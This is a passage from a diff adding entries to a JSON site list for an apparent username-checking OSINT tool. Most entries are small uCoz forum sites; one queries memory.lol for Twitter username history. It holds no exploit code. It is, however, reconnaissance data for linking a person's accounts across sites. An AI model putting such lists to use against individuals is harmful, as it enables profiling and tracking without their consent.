280915, + "urlMain": "http://muz-fresh.ucoz.kz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "78-3.do.am": { + "engine": "uCoz", + "urlMain": "http://78-3.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "uko.at.ua": { + "engine": "uCoz", + "urlMain": "http://uko.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "faillyuboi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://faillyuboi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "koshtoris.at.ua": { + "engine": "uCoz", + "alexaRank": 6118066, + "urlMain": "http://koshtoris.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pio-bets.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pio-bets.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "clan-sg.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://clan-sg.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "samsungmobile.pp.net.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 943967, + "urlMain": "http://samsungmobile.pp.net.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "specchiasol.ru": { + "engine": "uCoz", + "urlMain": "http://specchiasol.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mytechbook.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mytechbook.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "led-vector.ru": { + "engine": "uCoz", + "urlMain": "http://led-vector.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mariupol4x4.clan.su": { + "engine": "uCoz", + "urlMain": "http://mariupol4x4.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ua" + ] + }, + "shansonportal.ru": { + "engine": "uCoz", + "urlMain": "http://shansonportal.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "alikgor.at.ua": { + "engine": "uCoz", + "alexaRank": 8327078, + "urlMain": "http://alikgor.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "diablocool.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://diablocool.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "chastysc.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 5983476, + "urlMain": "http://chastysc.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "torrents-igra.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 9435758, + "urlMain": "http://torrents-igra.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "schonin.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 8240852, + "urlMain": "http://schonin.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sa-mp.ucoz.de": { + "tags": [ + "in", + "ua" + ], + "engine": "uCoz", + "alexaRank": 692260, + "urlMain": "http://sa-mp.ucoz.de", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "medvestnic.ru": { + "engine": "uCoz", + "urlMain": "http://medvestnic.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ruanekdot.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 842368, + "urlMain": "http://ruanekdot.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "novayamebel.at.ua": { + "engine": "uCoz", + "urlMain": "http://novayamebel.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "directx10.org": { + "engine": "uCoz", + "alexaRank": 4492767, + "urlMain": "http://directx10.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "3glaz.org": { + "engine": "uCoz", + "urlMain": "http://3glaz.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ] + }, + "kfir-zahav.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kfir-zahav.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kadroviku.ru": { + "engine": "uCoz", + "alexaRank": 3541673, + "urlMain": "http://kadroviku.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "necromancers.clan.su": { + "engine": "uCoz", + "urlMain": "http://necromancers.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "iberia-pw.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://iberia-pw.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "greenbacks.at.ua": { + "engine": "uCoz", + "urlMain": "http://greenbacks.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "finance", + "ru" + ] + }, + "lakshmi-fm.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lakshmi-fm.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "death-note.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://death-note.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "moneysfirst.ru": { + "engine": "uCoz", + "urlMain": "http://moneysfirst.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pirohimic.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pirohimic.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "goroskop.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://goroskop.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "warez-pirati.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://warez-pirati.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "icu.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://icu.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "kinomir.org": { + "engine": "uCoz", + "urlMain": "http://kinomir.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "tmk.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://tmk.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "yerkramas.do.am": { + "engine": "uCoz", + "urlMain": "http://yerkramas.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gt-garazh.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://gt-garazh.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "firasmartincome.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://firasmartincome.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gifts.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gifts.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bashtanka.at.ua": { + "engine": "uCoz", + "urlMain": "http://bashtanka.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spishu.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 737634, + "urlMain": "http://spishu.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "psychotype.info": { + "engine": "uCoz", + "urlMain": "http://psychotype.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "partner.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://partner.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sony127.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://sony127.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sat-electronics.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sat-electronics.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "teplohorosho.ru": { + "engine": "uCoz", + "alexaRank": 5706091, + "urlMain": "http://teplohorosho.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pro-svet.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pro-svet.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "memory57.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3796777, + "urlMain": "http://memory57.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "memory.lol": { + "tags": [ + "messaging" + ], + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "checkType": "message", + "absenceStrs": [ + "{\"accounts\":[]}" + ], + "presenseStrs": [ + "{\"accounts\":[{" + ], + "source": "Twitter", + "urlMain": "https://memory.lol", + "url": "https://api.memory.lol/v1/tw/{username}", + "usernameClaimed": "libsoftiktok", + "usernameUnclaimed": "noonewould123" + }, + "metroman.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://metroman.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tv.ucoz.club": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 84821, + "urlMain": "http://tv.ucoz.club", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "baggi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://baggi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn--90aybfeg.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--90aybfeg.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mediatv.ucoz.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://mediatv.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kazamuza.net": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "alexaRank": 453200, + "urlMain": "http://kazamuza.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gorbuha.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://gorbuha.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "komarovo.clan.su": { + "engine": "uCoz", + "urlMain": "http://komarovo.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kino-hit.clan.su": { + "engine": "uCoz", + "urlMain": "http://kino-hit.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "big-game.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://big-game.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "rodobozhie.ru": { + "engine": "uCoz", + "alexaRank": 6023633, + "urlMain": "http://rodobozhie.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "mox.vo.uz": { + "engine": "uCoz", + "alexaRank": 2604530, + "urlMain": "http://mox.vo.uz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zareshetkoi.my1.ru": { + "engine": "uCoz", + "urlMain": "http://zareshetkoi.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "bot-cs.at.ua": { + "engine": "uCoz", + "urlMain": "http://bot-cs.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gool-live.at.ua": { + "engine": "uCoz", + "urlMain": "http://gool-live.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gsm-standart.clan.su": { + "engine": "uCoz", + "urlMain": "http://gsm-standart.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "soft-deniz.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 4126874, + "urlMain": "http://soft-deniz.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "rasskazovskie.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://rasskazovskie.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "162nord.org": { + "engine": "uCoz", + "urlMain": "http://162nord.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "lifeway.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lifeway.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pochikimyk.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pochikimyk.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "counter-art.ru": { + "engine": "uCoz", + "urlMain": "http://counter-art.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 3125198 + }, + "karkulis.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://karkulis.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bce-tyt.ru": { + "engine": "uCoz", + "alexaRank": 5539610, + "urlMain": "http://bce-tyt.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "moments.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://moments.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "ibmt.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://ibmt.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "shipsondesk.info": { + "engine": "uCoz", + "urlMain": "http://shipsondesk.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vrn-sms.ru": { + "engine": "uCoz", + "urlMain": "http://vrn-sms.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "inetjob.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://inetjob.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "russemya.do.am": { + "engine": "uCoz", + "urlMain": "http://russemya.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "metod-psv.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://metod-psv.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pogz5615.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pogz5615.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "elektron.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://elektron.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "baltnethub.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://baltnethub.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "topreklama.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://topreklama.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "cosmotarolog.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://cosmotarolog.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "buyforex.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://buyforex.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "9interi.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://9interi.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sefirut.ru": { + "engine": "uCoz", + "urlMain": "http://sefirut.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vseotkritki.ru": { + "engine": "uCoz", + "urlMain": "http://vseotkritki.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "trainmodels.at.ua": { + "engine": "uCoz", + "urlMain": "http://trainmodels.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "povarenok.nov.ru": { + "engine": "uCoz", + "urlMain": "http://povarenok.nov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "stay.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://stay.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ercevo.ru": { + "engine": "uCoz", + "urlMain": "http://ercevo.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "abho.ru": { + "engine": "uCoz", + "urlMain": "http://abho.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4301122 + }, + "l2bz.ru": { + "engine": "uCoz", + "urlMain": "http://l2bz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 9956854 + }, + "sstalkers.ru": { + "engine": "uCoz", + "urlMain": "http://sstalkers.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dhelp.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://dhelp.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "famouspeople.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://famouspeople.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "lavkachudec.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://lavkachudec.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6702666 + }, + "krasnovodsk.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://krasnovodsk.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sbuda.at.ua": { + "engine": "uCoz", + "urlMain": "http://sbuda.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ua" + ] + }, + "vse-o-zaz.at.ua": { + "engine": "uCoz", + "urlMain": "http://vse-o-zaz.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "apelmon.od.ua": { + "engine": "uCoz", + "urlMain": "http://apelmon.od.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vinbazar.at.ua": { + "engine": "uCoz", + "urlMain": "http://vinbazar.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "angell.at.ua": { + "engine": "uCoz", + "urlMain": "http://angell.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fareast.clan.su": { + "engine": "uCoz", + "urlMain": "http://fareast.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "foxrecord.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://foxrecord.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 10968042 + }, + "konibodom.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://konibodom.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kupluradiodetal.at.ua": { + "engine": "uCoz", + "urlMain": "http://kupluradiodetal.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ua" + ] + }, + "lksmu-lg.at.ua": { + "engine": "uCoz", + "urlMain": "http://lksmu-lg.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "provincialynews.ru": { + "engine": "uCoz", + "urlMain": "http://provincialynews.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7556891 + }, + "ural-sloboda.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ural-sloboda.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bbclub.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://bbclub.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tv-android.at.ua": { + "engine": "uCoz", + "urlMain": "http://tv-android.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "webdom.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://webdom.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "smartplay.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://smartplay.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fcbarca.at.ua": { + "engine": "uCoz", + "urlMain": "http://fcbarca.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gym5.net": { + "engine": "uCoz", + "urlMain": "http://gym5.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6607323 + }, + "softgame.3dn.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://softgame.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "piratapes.at.ua": { + "engine": "uCoz", + "urlMain": "http://piratapes.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "azovmore.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://azovmore.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vega.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://vega.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn----7sbb0bfjrbhdi.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn----7sbb0bfjrbhdi.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "str-upravlenie.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://str-upravlenie.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "magia.at.ua": { + "engine": "uCoz", + "urlMain": "http://magia.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mcfc-fan.ru": { + "engine": "uCoz", + "urlMain": "http://mcfc-fan.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5904389 + }, + "jek-auto.ru": { + "engine": "uCoz", + "urlMain": "http://jek-auto.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "1001facts.ru": { + "engine": "uCoz", + "urlMain": "http://1001facts.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sayty.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://sayty.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nk-cs.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nk-cs.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn----7sbfejdvocrv7adem.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn----7sbfejdvocrv7adem.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "religionlaw.ru": { + "engine": "uCoz", + "urlMain": "http://religionlaw.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "chelny-diplom.ru": { + "engine": "uCoz", + "urlMain": "http://chelny-diplom.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "binhot.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://binhot.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "cybers.clan.su": { + "engine": "uCoz", + "urlMain": "http://cybers.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "likerr.ru": { + "engine": "uCoz", + "urlMain": "http://likerr.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 6972018, + "disabled": true + }, + "iptv-free.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://iptv-free.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pozdrawlandiya.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://pozdrawlandiya.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 468606 + }, + "aktualno.lv": { + "engine": "uCoz", + "urlMain": "http://aktualno.lv", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 6387028 + }, + "nicemusic.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://nicemusic.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "liderdzr.my1.ru": { + "engine": "uCoz", + "urlMain": "http://liderdzr.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "megabravo.tk": { + "engine": "uCoz", + "urlMain": "http://megabravo.tk", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "vip-icq.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://vip-icq.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "nod32-forever.clan.su": { + "engine": "uCoz", + "urlMain": "http://nod32-forever.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dvk-style.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://dvk-style.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kotik.my1.ru": { + "engine": "uCoz", + "urlMain": "http://kotik.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kuzini.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kuzini.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "razborka-japan.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://razborka-japan.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "jump.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://jump.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "once-upon-a-time-tv.ru": { + "engine": "uCoz", + "urlMain": "http://once-upon-a-time-tv.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "5i8.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://5i8.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gdz.at.ua": { + "engine": "uCoz", + "urlMain": "http://gdz.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "wakeup.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://wakeup.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "obmanunet.clan.su": { + "engine": "uCoz", + "urlMain": "http://obmanunet.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "dreddmc.ru": { + "engine": "uCoz", + "urlMain": "http://dreddmc.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spygaming.clan.su": { + "engine": "uCoz", + "urlMain": "http://spygaming.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + 